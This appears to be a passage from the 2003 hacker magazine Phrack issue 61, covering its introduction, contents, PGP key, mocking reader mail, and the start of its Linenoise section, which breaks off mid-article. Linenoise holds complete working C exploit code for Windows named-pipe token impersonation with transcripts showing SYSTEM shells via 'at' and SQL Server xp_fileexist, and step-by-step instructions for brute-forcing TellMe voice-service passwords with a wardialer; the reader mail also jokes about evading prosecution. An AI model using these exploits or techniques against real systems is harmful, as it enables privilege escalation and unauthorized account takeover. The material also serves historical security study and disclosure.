```
                              ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x01 of 0x0f


[-]=========================================================================[-]


         @@@@@@@   @@@  @@@  @@@@@@@    @@@@@@    @@@@@@@  @@@  @@@
         @@@@@@@@  @@@  @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  @@@
         @@!  @@@  @@!  @@@  @@!  @@@  @@!  @@@  !@@       @@!  !@@
         !@!  @!@  !@!  @!@  !@!  @!@  !@!  @!@  !@!       !@!  @!!
         @!@@!@!   @!@!@!@!  @!@!!@!   @!@!@!@!  !@!       @!@@!@!
         !!@!!!    !!!@!!!!  !!@!@!    !!!@!!!!  !!!       !!@!!!
         !!:       !!:  !!!  !!: :!!   !!:  !!!  :!!       !!: :!!
         :!:       :!:  !:!  :!:  !:!  :!:  !:!  :!:       :!:  !:!
          ::       ::   :::  ::   :::  ::   :::   ::: :::   ::  :::
          :         :   : :   :   : :   :   : :   :: :: :   :   ::

                    . o O   R E L O A D E D   O o .

[-]=========================================================================[-]
```

PENG PHRACK #61 is out.

What's new?

P61 comes with a prophile again (DiGiT!). We changed the filenames of the articles (dos 8.3 is dead people!). I got bored of including this outdated and buggy phrack extraction utility in every phrack -- gone it iz! In this issue you'll find:16 jucy articles; a bunch of smaller articles (in linenoise); the usual 100% dumbness in loopback, and some Phrack World News with old skewl doodz.

I admit it, we are 5 days behind the promised release date. Sorry. Some of you might already have enjoyed the beta-release that we gave out a few days ago to some authors and ircs junkees. Others might have spotted one of the many leaked (and modified) versions of these beta-releases. Be warned, we dont give any warranty for the correctness of the article or code, especially for an unofficial version. Hell, I saw one #61 version today which contains articles I've never seen before and a prophile of someone we would not prophile :>

TO MAKE IT EASIER FOR YOU: ALL DA DOMAINZ ARE BELONG TO UZ.
http://www.phrack.org <-- original
http://www.phrack.com <-- old skewl
http://www.phrack.net <-- donated

Phrack got some media coverage for releasing the gps jammer article. We received a high amount of emails from .gov/.mil subdomains telling us that MS exchange cant read 'this strange uudecode format'. We amused ourself for 8 month, thnx: http://www.phrack.org/dump/phrack_gps_jammer.png

```
 __^__                                                                __^__
( ___ )--------------------------------------------------------------( ___ )
 | / | 0x01 Introduction                        Phrack Staff 0x09 kb | \ |
 | / | 0x02 Loopback                            Phrack Staff 0x0b kb | \ |
 | / | 0x03 Linenoise                           Phrack Staff 0x33 kb | \ |
 | / | 0x04 Toolz Armory                        Phrack Staff 0x06 kb | \ |
 | / | 0x05 Phrack Prophile on DiGiT            Phrack Staff 0x10 kb | \ |
 | / | 0x06 Advanced Doug Lea's malloc exploits           jp 0x5c kb | \ |
 | / | 0x07 Hijacking Linux Page Fault Handler        buffer 0x1c kb | \ |
 | / | 0x08 The Cerberus ELF interface                mayhem 0x3f kb | \ |
 | / | 0x09 Polymorphic Shellcode Engine           CLET team 0xfb kb | \ |
 | / | 0x0a Infecting Loadable Kernel Modules          truff 0x25 kb | \ |
 | / | 0x0b Building IA32 Unicode-Proof Shellcodes    obscou 0x2d kb | \ |
 | / | 0x0c Fun with Spanning Tree Protocol    O.K. Artemjev 0x25 kb | \ |
 | / |                             Vladislav V. Myasnyankin          | \ |
 | / | 0x0d Hacking da Linux Kernel Network Stack   bioforge 0x4a kb | \ |
 | / | 0x0e Kernel Rootkit Experiences               stealth 0x0c kb | \ |
 | / | 0x0f Phrack World News                   Phrack Staff 0x37 kb | \ |
 | / |---------------------------------------------------------------| \ |
 | / | Morpheus: Do you believe in fate, Neo?                        | \ |
 | / | Neo: No.                                                      | \ |
 | / | Morpheus: Why not?                                            | \ |
 | / | Neo: Because I don’t like the idea that I’m not in control of | \ |
 | / |      my life.                                                 | \ |
 |___|_____________[  PHRACK, NO FEAR & NO DOUBT   ]_________________|___|
(_____)-------------------------------------------------------------(_____)
   ^                                                                   ^
```

Shoutz: justin, nar, muskrat, optimist, _dose and Hassanine Adghirni.

Enjoy the magazine!

Phrack Magazine Vol 11 Number 61, Build 6, Aug 13, 2003. ISSN 1068-1035

Contents Copyright (c) 2003 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free of charge.

```
|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           : phrackstaff@phrack.org
Submissions       : phrackstaff@phrack.org
Commentary        : loopback@phrack.org
Phrack World News : pwn@phrack.org
```

Note: You must put the word ’ANTISPAM’ somewhere in the Subject-line of your email. All others will meet their master in /dev/null. We reply to every email. Lame emails make it into loopback.

```
|=-----------------------------------------------------------------------=|
```

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)

mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/lzrZyBsktzS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
```

```
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----
```

```
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */
```

```
|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x02 of 0x0f

```
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack  Staff ]=-----------------------------=|
```

The good stuff.
[1] http://segfault.net/~bbp/BSD-heap-smashing.txt

The funny stuff (defaced openbsd poster).
[1] http://stargliders.org/phrack/mmhs.jpg

Russian interview:
[1] http://www.bugtraq.ru/library/underground/phrack.html

GPS Jammer hypes
[1] http://computerworld.com/industrytopics/defense/story/0,10801,77702,00.html
[2] http://computerworld.com/governmenttopics/government/story/0,10801,79783,00.html
[3] http://computerworld.com/securitytopics/security/story/0,10801,77702,00.html
[4] http://www.phrack.org/dump/phrack_gps_jammer.png

www.madonna.com hacked, phrack is innocent.
[1] http://www.thesmokinggun.com/archive/madonnasplash1.html
[2] http://www.cnn.com/2003/TECH/internet/04/28/hackers.madonna.reut/index.html

Quote of the day (as seen on irc):
"Give me an eMail and I'll move the world."

We receive a lot of stupid emails as par for the course in each round of phrack. However, we have some real gems for you this time. Ok, let's see with what lameness the audience came up with.

Enjoy Loopback :>

```
|=[ 0x01 ]=--------------------------------------------------------------=|
```

From: echo_zero@mail.com

yo... wassup ppl?
lengedary group! the great masters r all here... Congratulations for all u have done for hacking community. i wish to be like u some day. long live the hackers!

STAY COOL
BE HAPPY

[y0, da great masta speaking. Thnx bro! Enj0y #61. Keep it r3al!]

```
|=[ 0x02 ]=--------------------------------------------------------------=|
```

From: '; OR --%20

[note his elite technique]

Hi, this is me checking if i can inject SQL commands into thy webservor.
Article's awesome.

[did it work?]

```
|=[ 0x03 ]=--------------------------------------------------------------=|
```

From: "scott johnstone" <bollocks777@hotmail.com>
Subject: Beer Generator ANTISPAM

Greets.

It occurs to me that an interesting way to generate some operating capital for Phrack would be to sell to spammers the e-mail addresses of all the silly newblets that ask for basic hacking tutorials and shit like that.

Granted it wouldn't be financing any phrackmobiles with rocket boosters but it might pay for a 6-pack for the guy who handles the loopback ;)

[done. now hurry up and order some of that penis enlargement cream --
we get 20%]

|=[0x04]=--=|

From: <zyx@illrepute.org>
Subject: your PGP key

What the hell is the point of posting a PGP key that has only this many signatures?

```
$ gpg --list-sigs phrackstaff
pub  1024D/3EEEDCE1 2001-05-05 phrackstaff <phrackstaff@phrack.org>
sig         EF881DEC 2001-03-03   Binary Fus10n <binaryfus10n@hotmail.com>
sig         D7C776BF 2001-03-03   [User id not found]
sig         75E90D2C 2001-12-29   Calle Lidstrom <calle@swip.net>
sig 3       3EEEDCE1 2001-05-05   phrackstaff <phrackstaff@phrack.org>
sub  2048g/1B6B493C 2001-05-05 [expires: 2031-04-28]
sig         3EEEDCE1 2001-05-05   phrackstaff <phrackstaff@phrack.org>
```

[Conclusion: Not our key.
Cause: Someone tricked you.
Solution: Get our latest key from the latest phrack release.
Remember: Stop writing us. You suck.]

|=[0x05]=--=|

From: serased@yahoo.com

y'all suck
you guysa are illegal and you know it
can't wait till the government bust your ass

[we might be illegal, but we can frame you for it]

|=[0x06]=--=|

From: Furys_Child@hotmail.com
Subject: Phrack Loopback

Hello anyone,

I am sending out this message to ask for help. I want to learn the basics of hacking any way I can.

[Today's lesson: "How to get subscibed to a paedophile mailing list"
Step 1. Ask phrackstaff to teach you how to hack
Step 2. Wait]

|=[0x07]=--=|

From: changiz_a@yahoo.com
Subject: Hide phone number

I want to others can not see my phone number (home phone and cell phone) how can I do this ?

[by not using the phone.]

|=[0x08]=---=|

From: Glenn Wekony <ayce57@yahoo.com>
Subject: Re: Message from Glenn Wekony ANTISPAM

[... a bunch of lame questiones about wifi hacking here ...]

[..] I am deliberately using my real name and am not a police officer or a federal agent. I tell you this in the hope you will answer my e-mail and not sound suspicious. If you do not return my e-mail, I understand.

Thanx, Glenn.

[No doubt you are not a fed. The feds stopped bugging us about wifi hacking techniques when they figured out how to use google.]

|=[0x09]=---=|

From: Max Gastone <banangling@yahoo.com>

> Would Phrack be interested in an article on how current radical environmental & animal rights groups are using the internet and email systems against target companies, in particular taking on large company's email systems and giving them a hammering using novel protests techniques akin to DDoS (but not quite that)? Would include info on several software tools developed solely for this purpose.

["When I was a child,
I talked like a child,
I thought like a child,
I reasoned like a child.
When I became a man,
I put childish ways behind me."
(the holy bible, Paul, in his first letter to the Cor. 13:11).]

|=[0x0a]=---=|

I need to be a haX0r says my mUm. bcuse I jerk off too much and I need somthing better to do wiht the 2 hours my mom lets me have to use the FaMily winbook. My Unckle billlyfish (his fucking hacksor name) told me that if I brake N2 nasa and steal the new rockit blueprints then give them to you so we/you or us/me can get together all of the 0day hackers (im not gay...just curious) and fly off to amsterdam where Heroin is legal that you will give me a hard copy set of Phrack issues 1-50. Piss on them who dont like shit. lol. hahaha lamers suck. I am only 27 but I should be sneaking out of my moms basement soon...like tonight to go to an internet cafe to masturbate because my 2 hours of Pleasureful winbook time are almost over. If you can muster up the fucking strengh tell me how to brake into nasa so i can claim me prize mate I would be as gracious as a dog with peanut butter Spo0ned up his asS.

[Actually you sounded quite smart until the last 2 sentences]

PS If you make funny out of me then I promise I wont send the rocketshit planz to you and I will keep them for myself and take all of the hardcopys out of the back of that mini-gurlish SUV when i gets to holland. Dig. By the way, after we work out a deal, you can send me my hard copy set through my paypal account. (I have the biggest eshop on geocities...)

[Fortunately, it's over, you started to become boring]

|=[0x0b]=---=|

From: unit321 <bigshot@almerger.com>

if i put a disclaimer on my phrack submission, will anyone be able to prosecute me? in the USA?

[Depends on which country you live in. Some countries tend to
change the law whenever a new president is in charge.
A disclaimer seldomly helps. Known technniques like leaving the
country or using an anonymous email account do help.]

|=[0x01]=--=|

Hello,

Are you being harrased by government or law enforcement?

[Of course we are!]

|=[0x0c]=--=|

From: d.r.hedley
Subject: question

I was wanting to look at your anarchy cookbook iv,ver 4.14. but when i go
to it. it says to

" <-------- set your browser to this width minimal ------->".

it say's that if you set your browser to the width proposed, then you'll
have no problem viewing the cookbook.

Question: how do you set your browser to the arrows that you have too - to
be able to view the anarchist cookbook iv, ver 4.14

[It's a secret cipher. Put your monitor upside down. There are some
wheels or some buttons at the bottom of you monitor. Use them to
adjust the horizontal width. Enlighted?]

|=[0x0d]=--=|

Hiya guys, Bread here.

[HIYA! staff-grunt here.]

Just thought I'd try and submit an article. If I am
successful, many more articles will be one there way. Its' an article on
the Ping Command which I wrote about a month ago.

Anyway, I hope you enjoy it and are able to actually publish it.
Thanks for your time,
Bread

[Can't wait to read the other articles. Please go ahead an email them
to us. All the serious articles have to be send to
loopback@phrack.org from now on.

To the content: Be warned, once you discover the -f flag you are
close to discover winnuke, bo2k, ...

We compressed your article to 1 line and will publish it right here:
$ ping -h

Regards,
Phrack Staff]

|=[0x0e]=--=|

From: "Ludootje"

[Luser saying that we should publish an article he already published
elsewhere, citing as a precedent "The Hackers Manifesto".]

" [..] but I suppose "The Hackers Manifesto" wasn’t first posted on phrack..."

[It was. 1986. http://www.phrack.org/phrack/7/P07-03.]

|=[0x0f]=--=|

... to actually make use of the Phrack article:

"Below is the schematic diagram (gps_jammer.ps) in an uuencoded gzipped PostScript file. This is the native Xcircuit[12] format and is used for ease of viewing, printing and modification."

How many FBI agents weaned on Windows will it take to get past the first hurdle: uuencoded?

[So many that after 8 month we decided to help them out:
http://www.phrack.org/dump/phrack_gps_jammer.png
Or for the advanced agent:

```
$ uudecode p60-0x0d.txt && gunzip -d gps_jammer.ps.gz && \
  gv gps_jammer.ps
```

]

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f

|=---------------------=[LINENOISE]=---------------------------=|

|=--=|

|=------------------------=[Phrack Staff]=-----------------------------=|

Everything that does not fit somewhere else can be found here. Corrections and additions to previous articles, to short articles or articles that just dont make it....everything.

Contents

1 - Windows named pipes exploitation   by DigitalScream
2 - How to hack into TellMe   by Archangel
3 - Shitboxing   by Agent5
4 - PalmMap v1.6 - Nmap for Palm   by Shaun Colley
5 - Writing Linux/mc68xxx shellcode   by madcr
6 - Finding hidden kernel modules (the extrem way)   by madsys
7 - Good old floppy bombs   by Phrick

|=--=|

|=-=[1 - Windows named pipes exploitation]=---------------------------=|

|=--=|

by DigitalScream <digitalsream at real.xakep.ru> / SecurityLevel5

All latest versions of Microsoft Windows family operation systems are based on Windows NT kernel. This fact has positive impact for both remote and local security of Windows world. There are still some thin places though allowing obtaining Local System privileges on the local computer leading to the full system compromise. Usually this is because different buffer overruns in stack or heap in system services, like in case of any operation system. However we should not forget about system specific bugs because of abnormal behavior of system functions. This kind of bugs is very system dependant and from time to time is discovered in different OS. Of cause, Windows is not exception.

Specific bugs are usually having impact on local users. Of cause, this is not a kind of axiom, but local user has access to larger amount of the system API functions comparing with remote one. So, we are talking about possibility for local user to escalate his privileges. By privilege escalation we mean obtaining privileges of Local System to have no limitations at all. Now there are few ways to get it, I will talk about new one.

According to MSDN to launch application with different account one must use LogonUser() and CreateProcessAsUser() functions. LogonUser() requires username and password for account we need. 'LogonUser()' task is to set SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME privileges for access token. This privileges are required for CreateProcessAsUser(). Only system processes have these privileges. Actually 'Administrator' account have no enough right for CreateProcessAsUser(). So, to execute some application, e.g. 'cmd.exe' with LocalSystem account we must have it already. Since we do not have username and password of privileged user we need another solution.

In this paper we will obtain 'LocalSystem' privileges with file access API. To open file Windows application call CreateFile() function, defined below:

```
HANDLE CreateFile(
        LPCTSTR                 lpFileName,
        DWORD                   dwDesiredAccess,
        DWORD                   dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD                 dwCreationDisposition,
        DWORD                 dwFlagsAndAttributes,
        HANDLE                hTemplateFile
        );
```

To open file we must call something like

```
HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
```

For advanced Windows programmer it's clear that this function has more application rather than only opening ordinary files. It's used to openor create new files, directories, physical drives, and different resources for interprocess communication, such as pipes and mailslots. We will be concerned with pipes.

Pipes are used for one-way data exchange between parent and child or between two child processes. All read/write operations are close to thesame file operations.

Named Pipes are used for two-way data exchange between client and server or between two client processes. Like pipes they are like files, but can be used to exchange data on the network.

Named pipe creation example shown below:

```
  HANDLE hPipe = 0;
  hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                           PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
```

Named pipe's name can vary, but it always has predefined format. The example of valid name is '\\.\pipe\GetSys'. For Windows, '\\.\' sequence always precedes filename, e.g. if "C:\boot.ini" is requested system actually accesses '\\.\C:\boot.ini'. This format is compatible with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be a way to full application to access named pipe instead of user supplied file. For example, if we created named pipe "\\.\pipe\GetSys" we can try to force application to access "\\ComputerName\pipe\GetSys". It gives us a chance to manipulate with access token.

Impersonation token is access token with client's privileges. That is, this is possibility for server to do something on client's behalf. In our case server is named pipe we created. And it becomes possible because we are granted SecurityImpersonation privilege for client. More precisely, we can get this privilege. If client application has privileges of local system we can get access to registry, process and memory management and another possibilities not available to ordinary user.

This attack can be easily realized in practice. Attack scenario for this vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created.

2. Impersonate client

Because we assume client application has system rights we will have them too.

3. Obtain required rights. In fact, we need only

- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME

- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE

This is all we need for CreateProcessAsUser() function. To obtain rights we need new token with TOKEN_ALL_ACCESS privelege. And we can do it, because we have privileges of client process.

Execute code of our choice

It could be registry access, setting some hooks or random commands with system privileges. Last one is most interesting, because we can execute standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system privileges. I back to beginning, but this time I have all required privileges and 'LocalSystem' is under my thumb.

There is no problem to realize this approach. As an example, we will use working exploit by wirepair at sh0dan.org based on the code of maceo at dogmile.com.

```
#include <stdio.h>
#include <windows.h>

int main(int argc, char **argv)
{
   char szPipe[64];
   DWORD dwNumber = 0;
   DWORD dwType = REG_DWORD;
   DWORD dwSize = sizeof(DWORD);
   DWORD dw = GetLastError();
   HANDLE hToken, hToken2;
   PGENERIC_MAPPING pGeneric;
   SECURITY_ATTRIBUTES sa;
   DWORD dwAccessDesired;
   PACL pACL = NULL;
   PSECURITY_DESCRIPTOR pSD = NULL;
   STARTUPINFO si;
   PROCESS_INFORMATION pi;

   if (argc != 2) {
          fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
          return 1;
   }

   memset(&si,0,sizeof(si));
   sprintf(szPipe, "\\\\.\\pipe\\GetSys");

// create named pipe"\\.\pipe\GetSys"

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
   if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:\n  %s\n", szPipe);
     return 2;
   }

   printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application
// privileges
   pSD = (PSECURITY_DESCRIPTOR)
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection...\n");

// wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate...\n");

// impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token...\n");

// obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(),
                              TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u\n", dw);
                     CloseHandle(hToken);
                     return 4;
                 }
   }

   printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation,
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token\n");
          printf("GetLastError: %u\n", dw);
          return 5;
   }

// fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s\n", szUser);

   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop         = NULL;
   si.dwFlags           = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s\n", argv[1]);
```

```
// create new process as user
   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
        &sa,true, NORMAL_PRIORITY_CLASS |
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d\n", GetLastError());
   }

// wait process to complete and exit
   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);

   return 0;
}
```

This vulnerability gives a chance for us to obtain system privileges on local computer. The only condition is system process must access this channel. This condition is easy to reproduce with system services. For example:

```
[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

>time /T
18:15

>at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1

[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
```

Now we have new instance of cmd.exe with system privileges. It means user can easily obtain privileges of local system. Of cause reproduce this situation is easy only in case, there is a service, which can access files on user request. Because ’at’ command requires at least power user privileges and may be used to launch cmd.exe directly, without any named pipe this example is useless.

In practice, this vulnerability may be exploited for privilege escalation by the local user if Microsoft SQL Server is installed. SQL server runs with system privileges and may be accessed with unprivileged user. @Stake reported vulnerability in xp_fileexist command. This command checks for file existence and we can use it to access our named pipe. Attack scenario is nearly same:

```
[shell 1]

>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...

[shell 2]

C:\>isql -U user
Password:
1> xp_fileexist ’\\ComputerName\pipe\GetSys’
2> go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

[shell 1]

Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
```

At the end, it’s good to point that this vulnerability exists in Windows NT/2000/XP and is patched with Windows 2000 SP4 and on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be possible.

[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt

[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe

```
|=-----------------------------------------------------------------------=|
|=-=[ 2 - How to hack into Tellme ]=-------------------------------------=|
|=-----------------------------------------------------------------------=|
```

How to get into the Tell-Me network.
(1-800-555-tell)

This is a representation of someone’s thoughts. Thoughts cannot be owned by another person. Use this thought as you see fit, it is yours to duplicate or use as you please.

By Archangel (Formerly of the P.H.I.R.M.)
Archangel Systems
http://the.feds.are.lookingat.us

What is the Tell-Me system?

TellMe is a high-tech voice activated phone site with internet connectivity, and even a voice activated browser. It is the ultimate goal of TellMe to have the whole of the internet voice activated. The system is quite sophisticated by today’s standards, though I’m sure that tomorrow’s readers will find the efforts to be quite primative to say the least. A free phone call gives the listener access to news, sports, weather, etc. Even movie listings. Other areas provide for private announcements, or even voice activated web-sites. In other words, it is now possible, through TellMe, to dial a phone number, and listen to a website.

Tell me is a subsidiary of CNET, a giant (at the time of this writing) on the internet.

What security flaws were exploited?

Well, I guess it’s nut-cutting time. TellMe has a VERY SERIOUS security flaw which can allow unauthorized access to the system within a matter of hours. As I tried to hack into my own account, I realized that TellMenu announcements only have a 4 digit numeric password.

Here’s what you do:
- You dial 1-800-555-tell.
- You will get an automated banner-ad followed by a menu discribing various TellMe features.
- You must say the word "Announcements", or dial "198" on the keypad. This will take you to the announcements area.
- Once in the announcements area, you will need to punch in the announcement number, which is a seven digit number assigned to you by the TellMe computer.
- Type in any announcement number you wish (I tried with my own one first, as this was an experiment to see if I could hack in and change my own announcement).
  The computer says "Ok, here is your announcement."
  Then I heard a recording of The Baron Telling what a whimp I am.
- This was followed by the computer saying:
  Please type in another announcement number, or say "Main Menu" to continue. If you are the announcement manager, please use you telephone keypad to enter your password to edit the announcement. If you remain silent, the computer will say: "Please enter your 4 digit password."

FOUR DIGITS?????
Were they serious?

Now here’s the kicker:
TELLME WON’T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!!
Yes, ladies and gentlement, keep trying to your heart’s content.
No penalties.

Obviously a Brute Force hack was in order. I handled it by dusting off a *VERY* old wardialer.

I sat on an extention line, due to the limitations of the dialer, and listened to it punching in access codes. When it succeeded, I could pause the wardialer program. I would be able to look at the screen, and see what the last couple of attempted numbers were, manually dial them in, and gain access. I know there are easier methods, but this is what I did.

The Baron had mercifully chosen a low number, and I was in, changing the message in about ten minutes. I then tried two other *SAFE* messages, that I would not get in trouble for, if changed. I gained access, respectively, in 45 and 90 minutes (More or less). My math told me that the maximum time to Brute Force a TellMe announcement was about three hours.

Is that it?
No, while having the ability to change any announcement may be a lot of fun, there is a far more intersting hack that you can do on TellMe.
Remember how when you first sign on, you have to say "announcements"?
Try saying the word "Extensions". You may be quite surprised at what you find.

What are Tell-Me extensions?

Tell-Me extensions are that part of the Tellme network, which they have offered to the world to produce the voice activated web pages. Here is what you do.

- Say "Extensions". You will be taken to the extensions area, and asked to punch in an extension number. This is a five digit number. It was time again for my ancient wardialer to do it’s stuff. (Once again, no penalty for incorrect guesses!)

First off, it is important at this point to mention that TellMe is a dying concern. Most of the extensions are empty. The only extensions still operating, are some extensions created by individual developers, Die-hard developers, and (This is important later) TellMe’s *own* extensions.

Apparently, the idea was to use the extension number as a kind of password, as there is no directory, and one must already know the extension number in order to gain access.

I checked into The San Remo hotel here in Las Vegas, under my girlfriend’s name, and spent the night hacking. Here’s what I have come up with so far:

Extension 76255:

